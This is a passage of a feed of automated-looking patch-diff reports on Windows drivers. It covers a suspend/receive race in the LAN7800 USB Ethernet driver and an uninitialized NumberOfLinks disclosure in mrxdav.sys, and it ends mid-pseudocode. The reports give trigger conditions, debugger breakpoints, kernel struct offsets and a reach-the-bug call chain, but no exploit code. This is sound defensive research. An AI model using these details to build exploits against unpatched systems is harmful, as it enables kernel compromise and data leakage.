&lt;span class="mf"&gt;000000014001046&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2710&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;us&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ms&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010474&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NdisMSleep_0&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010479&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_140010453&lt;/span&gt;
&lt;span class="mf"&gt;000000014001047&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;28&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_0&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010480&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010484&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mf"&gt;0000000140010485&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched copy (&lt;code&gt;@ 0x1400107B0&lt;/code&gt;) is identical except the counter offset is &lt;code&gt;0xFA8&lt;/code&gt;. Neither version dereferences an RCB, NET_BUFFER_LIST, MDL, or USB transfer buffer.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;NICSetPowerState&lt;/code&gt; low-power flag (present in BOTH builds)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x14000E254&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="nt"&gt;000000014000E287&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;bts&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1Ah&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;0x4000000&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;low&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;power&lt;/span&gt;
&lt;span class="nt"&gt;000000014000E322&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;btr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1Ah&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;resume&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x14000E5E4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;logic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;shifted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x44&lt;/span&gt;&lt;span class="o"&gt;):&lt;/span&gt;
&lt;span class="nt"&gt;000000014000E617&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;bts&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1Ah&lt;/span&gt;
&lt;span class="nt"&gt;000000014000E6AF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;btr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1Ah&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To reach the Finding 1 race window:
1. The LAN7800 USB Ethernet adapter is connected and its driver loaded.
2. USB selective suspend is enabled for the device (registry or OS default).
3. Inbound receive traffic keeps the bulk-in wait list populated so &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; is actively iterating.
4. The device goes idle and the selective-suspend timer fires, so &lt;code&gt;MPIdleNotification&lt;/code&gt; confirms the D3 transition while receive processing is still draining the wait list.&lt;/p&gt;
&lt;p&gt;The race is a narrow, timing-dependent window during the power transition and depends on receive processing overlapping with suspend teardown. No attacker-controlled data flow into the freed contents was demonstrated.&lt;/p&gt;
&lt;p&gt;Finding 2 is not a vulnerability; no trigger is provided.&lt;/p&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;No exploit primitive was demonstrated from the binaries. The evidence establishes a missing synchronization between the selective-suspend confirmation path and the bulk-in receive processing loop, and the patched build adds a suspend-pending flag plus the corresponding loop checks. Whether the resulting use-after-free of a receive control block can be developed into a controlled read/write or code-execution primitive is not shown by the disassembly and is not claimed here.&lt;/p&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;If attached to a kernel debugger on the unpatched system, the following breakpoints observe the missing synchronization:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;lan7800!MPIdleNotification&lt;/code&gt; (&lt;code&gt;0x140001030&lt;/code&gt;) — the selective-suspend confirmation. In the unpatched build no flag is set at &lt;code&gt;[rbx+0x80]&lt;/code&gt; before the &lt;code&gt;NdisMIdleNotificationConfirm&lt;/code&gt; call at &lt;code&gt;0x140001052&lt;/code&gt;. &lt;code&gt;rbx&lt;/code&gt; holds the adapter context.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lan7800!NICProcessBulkInWaitList&lt;/code&gt; (&lt;code&gt;0x140010C4C&lt;/code&gt;) — the receive processing loop. In the unpatched build there is no suspend-flag test; the loop exits only on an empty wait list or when the elapsed-time counter exceeds &lt;code&gt;0x989680&lt;/code&gt; at &lt;code&gt;0x140010D9F&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Key offsets for the unpatched binary:
- Adapter flags field: &lt;code&gt;+0x80&lt;/code&gt; (bit 26 &lt;code&gt;0x4000000&lt;/code&gt; = low-power state, set/cleared by &lt;code&gt;NICSetPowerState&lt;/code&gt;; bit 27 &lt;code&gt;0x8000000&lt;/code&gt; = suspend-pending, which the patched build adds and the unpatched build never sets).
- Split-RX pending counter: &lt;code&gt;+0xFF8&lt;/code&gt; (checked by &lt;code&gt;NICStopRxPath&lt;/code&gt;) and &lt;code&gt;+0xF78&lt;/code&gt; (polled by &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Note: the adapter context struct was reorganized between builds; the flags field is at &lt;code&gt;+0x80&lt;/code&gt; in the unpatched binary and &lt;code&gt;+0x44&lt;/code&gt; in the patched binary. Use the unpatched offsets when inspecting the unpatched image.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Security / Behavioral:&lt;/strong&gt;
- &lt;code&gt;MPIdleNotification&lt;/code&gt; (0.986): Adds &lt;code&gt;bts dword ptr [rbx+44h], 1Bh&lt;/code&gt; (set bit 27, &lt;code&gt;0x8000000&lt;/code&gt;, suspend-pending) before &lt;code&gt;NdisMIdleNotificationConfirm&lt;/code&gt;. Security-relevant (Finding 1).
- &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; (0.920): Adds an early &lt;code&gt;test [rbx+44h], 8000000h&lt;/code&gt; exit and a per-iteration &lt;code&gt;test [rbx+44h], 8000000h&lt;/code&gt; loop-exit check. Both builds already bound the loop by the &lt;code&gt;0x989680&lt;/code&gt; elapsed-time cap; the change is the added suspend-flag check, not a change from an infinite loop. Security-relevant (Finding 1).
- &lt;code&gt;NICStopRxPath&lt;/code&gt; (0.945): Adds &lt;code&gt;test [rdi+44h], 4000000h&lt;/code&gt; (low-power bit 26) before calling &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt;. Robustness only — the callee is a poll-wait, not a memory-touching routine (Finding 2, downgraded).
- &lt;code&gt;NICSetPowerState&lt;/code&gt; (0.980): Sets/clears the &lt;code&gt;0x4000000&lt;/code&gt; low-power flag on D3 entry/resume — this logic is present in BOTH builds. The only differences here are the struct-offset shift and error-log suppression. Not a patch-introduced security change.
- &lt;code&gt;NICResetWorkItemCallBack&lt;/code&gt; (0.967): Adds a device-removed (&lt;code&gt;0x10&lt;/code&gt;) flag check to suppress an error-log write; a caller of &lt;code&gt;NICStopRxPath(adapter, 0)&lt;/code&gt;. Error-log hardening, not security-relevant.
- &lt;code&gt;NICResetAdapter&lt;/code&gt; (0.960): Gates its reset/re-init path on a state-flag combination so it no longer re-inits while a state flag is set, and gates its own error-log write behind that flag. Same defensive family as Finding 1; not a memory-safety fix.
- &lt;code&gt;USBAbortPipe&lt;/code&gt; (0.290): Rebuilt from a bare tail-call stub into a full routine with request setup, error logging, and NTSTATUS translation. USB error-handling modernization, not security-relevant.
- &lt;code&gt;USBGetPortStatus&lt;/code&gt; (0.487): Adds device-removed detection/flagging (&lt;code&gt;0xC000009D&lt;/code&gt; → set &lt;code&gt;0x10&lt;/code&gt;) and error logging. Error handling, not security-relevant.
- &lt;code&gt;USBResetPipe&lt;/code&gt; (0.985): Now calls the rebuilt &lt;code&gt;USBAbortPipe&lt;/code&gt; instead of inlining the WDF abort. Refactor, not security-relevant.
- &lt;code&gt;NICReadRegister&lt;/code&gt; (0.930) &amp;amp; &lt;code&gt;NICWriteRegister&lt;/code&gt; (0.915): Add a &lt;code&gt;0x10&lt;/code&gt; device-removed flag check before &lt;code&gt;NdisWriteErrorLogEntry&lt;/code&gt; to suppress error-log storms. Not security-relevant.
- &lt;code&gt;NICInitUSB&lt;/code&gt; (0.738): Restructured enumeration with device-removed checks before error logging. Not security-relevant.
- &lt;code&gt;NICConfigureTRRegs&lt;/code&gt; (0.854): Adds PHY register configuration writes (&lt;code&gt;NICWriteTRPhy&lt;/code&gt;). Not security-relevant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cosmetic / Struct Shifts:&lt;/strong&gt;
- &lt;code&gt;NICHandleDriverCmd&lt;/code&gt;, &lt;code&gt;NICQueryInformation&lt;/code&gt;, &lt;code&gt;NICSetInformation&lt;/code&gt;, &lt;code&gt;NICRequestWorkItemCallback&lt;/code&gt;, &lt;code&gt;NICPeriodicCheckWorkItemCallBack&lt;/code&gt;, &lt;code&gt;NICProcessMultipleReceivePackets&lt;/code&gt;, &lt;code&gt;NICProcessSingleReceivePacket&lt;/code&gt;, &lt;code&gt;NICSetMediaType&lt;/code&gt;, &lt;code&gt;NICDeconfigureDevice&lt;/code&gt;, &lt;code&gt;NICReadRegParameters&lt;/code&gt;, &lt;code&gt;NICPhySpecificInitialization&lt;/code&gt;, &lt;code&gt;NICInitializeMedia&lt;/code&gt;, &lt;code&gt;NICAddWOLSample&lt;/code&gt;, &lt;code&gt;NICAddWolPattern&lt;/code&gt;, &lt;code&gt;NICProcessWakeReason&lt;/code&gt;.
&lt;em&gt;(These are predominantly struct field-offset shifts (for example &lt;code&gt;0x80&lt;/code&gt; moving to &lt;code&gt;0x44&lt;/code&gt;, indicating a base struct layout change between the compiled versions), decompiler variable-name churn, and minor local additions such as PHY-init register writes, OID feature handlers with their own length validation, and error-log suppression. In &lt;code&gt;NICQueryInformation&lt;/code&gt; / &lt;code&gt;NICSetInformation&lt;/code&gt; a proprietary OID sets a config bit based on a 4-byte buffer whose length is validated, so there is no over-read. No memory-safety behavioral change identified in this group.)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were strictly added or removed; all changes were in-place modifications of existing routines.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the direct evidence. The added flag set in &lt;code&gt;MPIdleNotification&lt;/code&gt; and the two added flag checks in &lt;code&gt;NICProcessBulkInWaitList&lt;/code&gt; are visible in both disassemblies, as is the fact that both loops were already bounded by the &lt;code&gt;0x989680&lt;/code&gt; time cap. The determination that &lt;code&gt;NICCollectSplitRxPackets&lt;/code&gt; is a pure poll-wait (and therefore that Finding 2 is not a use-after-free) is likewise directly readable from the function body.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inferred, not demonstrated:&lt;/strong&gt; The use-after-free consequence guarded by Finding 1 is inferred from the receive loop freeing RCBs while suspend tears down receive resources. No exploit primitive, freed-memory reclamation, or control-flow hijack was demonstrated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Struct layout:&lt;/strong&gt; Most adapter-context fields shifted between builds (for example the flags field from &lt;code&gt;+0x80&lt;/code&gt; to &lt;code&gt;+0x44&lt;/code&gt;). Use the per-build offsets shown in Section 4 when inspecting memory.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>mrxdav.sys — Uninitialized FCB field returned as NumberOfLinks in FileStandardInformation (CWE-908) info disclosure fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/mrxdav_296d180f-mrxdav-report-20260626-022407.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/mrxdav_296d180f-mrxdav-report-20260626-022407.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mrxdav_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mrxdav_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9903&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;230&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;224&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;One-line verdict:&lt;/strong&gt; The substantive part of this patch fixes a genuine information-disclosure bug in the WebDAV redirector: &lt;code&gt;MRxDAVQueryFileInformation&lt;/code&gt; returned a non-initialized FCB field as &lt;code&gt;FILE_STANDARD_INFORMATION.NumberOfLinks&lt;/code&gt; (CWE-908), reachable by any user that can query a WebDAV file handle. The remaining five changed functions are a related caching-behavior correctness change (stop forcing uncached I/O while RDBSS local buffering is enabled); no security impact for that change is demonstrable from the diff, so it is not rated as a vulnerability.&lt;/p&gt;
&lt;p&gt;An independent per-function comparison of the two builds (normalizing instruction addresses and WPP trace-GUID label churn) found exactly the six functions below with real instruction differences; every other function is identical apart from relocation and WPP label renaming. No security-relevant change was omitted from this report.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Kernel memory disclosure via uninitialized FCB field in FileStandardInformation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; CWE-908 (Use of Uninitialized Resource) / CWE-200 (Information Exposure)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;MRxDAVQueryFileInformation&lt;/code&gt; (unpatched entry &lt;code&gt;0x1C001E820&lt;/code&gt;, patched entry &lt;code&gt;0x1C001E870&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachable from:&lt;/strong&gt; Any caller that can open and query a WebDAV file handle.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; When servicing a &lt;code&gt;FileStandardInformation&lt;/code&gt; (info class 5) query, the unpatched code copies &lt;code&gt;NumberOfLinks&lt;/code&gt; from FCB offset &lt;code&gt;0xE8&lt;/code&gt;. That offset does not hold a valid link count on the WebDAV &lt;code&gt;FILE_STANDARD_INFORMATION&lt;/code&gt; path; the patch replaces the read with the constant &lt;code&gt;1&lt;/code&gt; (the correct link count for a non-hardlinked file), which indicates the source field was not a maintained, initialized value. The 4-byte value from FCB+&lt;code&gt;0xE8&lt;/code&gt; is written into the &lt;code&gt;NumberOfLinks&lt;/code&gt; field of the caller's &lt;code&gt;FILE_STANDARD_INFORMATION&lt;/code&gt; and returned to user mode.&lt;/p&gt;
&lt;p&gt;A second defect in the same branch hardcodes &lt;code&gt;DeletePending = 0&lt;/code&gt;, so a file that is actually pending deletion is reported as not pending. The patch replaces the hardcoded &lt;code&gt;0&lt;/code&gt; with &lt;code&gt;*(FCB + 0x8C) &amp;amp; 1&lt;/code&gt;, the real FCB delete state. This is a correctness fix, not a memory-safety issue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (open → query → leak):&lt;/strong&gt;
1. Open a file over the WebDAV redirector, e.g. &lt;code&gt;CreateFileW(L"\\\\server\\DavWWWRoot\\file.txt")&lt;/code&gt;.
2. RDBSS top-level dispatch routes the query to the registered &lt;code&gt;MRxQueryFileInfo&lt;/code&gt; callback.
3. &lt;code&gt;MRxDAVQueryFileInformation&lt;/code&gt; reaches the &lt;code&gt;FileStandardInformation&lt;/code&gt; branch (&lt;code&gt;loc_1C001EB6F&lt;/code&gt;, size check &lt;code&gt;cmp ebp, 18h&lt;/code&gt;).
4. On the success path the handler executes &lt;code&gt;mov eax, [rsi+0E8h]&lt;/code&gt; / &lt;code&gt;mov [rdi+10h], eax&lt;/code&gt; — the FCB+&lt;code&gt;0xE8&lt;/code&gt; value becomes &lt;code&gt;NumberOfLinks&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding #2 — Forced-uncached I/O while RDBSS local buffering is enabled (caching correctness change)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (no demonstrated security impact)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Caching-behavior correctness change. No reachable, demonstrable vulnerability is shown by the diff.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Functions:&lt;/strong&gt; &lt;code&gt;DavReadWriteFileEx&lt;/code&gt;, &lt;code&gt;MRxDAVCreate&lt;/code&gt;, &lt;code&gt;MRxDAVCreateContinuation&lt;/code&gt;, &lt;code&gt;MRxDAVReadContinuation&lt;/code&gt;, &lt;code&gt;MRxDAVWriteContinuation&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What changed.&lt;/strong&gt; The unpatched driver combines three behaviors that the patch makes consistent:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;MRxDAVCreate&lt;/code&gt; never calls &lt;code&gt;RxDisableLocalBuffering&lt;/code&gt;, so RDBSS leaves local buffering enabled for WebDAV file objects. The patch adds &lt;code&gt;RxDisableLocalBuffering(FCB)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MRxDAVCreateContinuation&lt;/code&gt; opens the backing local file with &lt;code&gt;ZwCreateFile(..., CreateOptions | 8, ...)&lt;/code&gt; — forcing &lt;code&gt;FILE_NO_INTERMEDIATE_BUFFERING&lt;/code&gt;. The patch drops the &lt;code&gt;| 8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DavReadWriteFileEx&lt;/code&gt; unconditionally executes &lt;code&gt;Irp-&amp;gt;Flags |= 1&lt;/code&gt; (&lt;code&gt;IRP_NOCACHE&lt;/code&gt;) on every IRP it builds. The patch makes that OR conditional on a caller-supplied flag threaded through &lt;code&gt;MRxDAVReadContinuation&lt;/code&gt; / &lt;code&gt;MRxDAVWriteContinuation&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Net effect: the patch stops forcing uncached I/O on the backing file while RDBSS believes the WebDAV file is locally buffered. This is a caching-consistency correctness change. Whether it produced any observable stale-data or cross-user condition cannot be established from the binary diff, so no vulnerability class or exploit primitive is asserted for it.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding #1 — &lt;code&gt;MRxDAVQueryFileInformation&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED — FileStandardInformation branch (info class 5)&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// rsi = FCB = *(RX_CONTEXT + 0x38)&lt;/span&gt;
&lt;span class="c1"&gt;// rdi = output FILE_STANDARD_INFORMATION buffer&lt;/span&gt;
&lt;span class="c1"&gt;// ebp = output buffer length&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
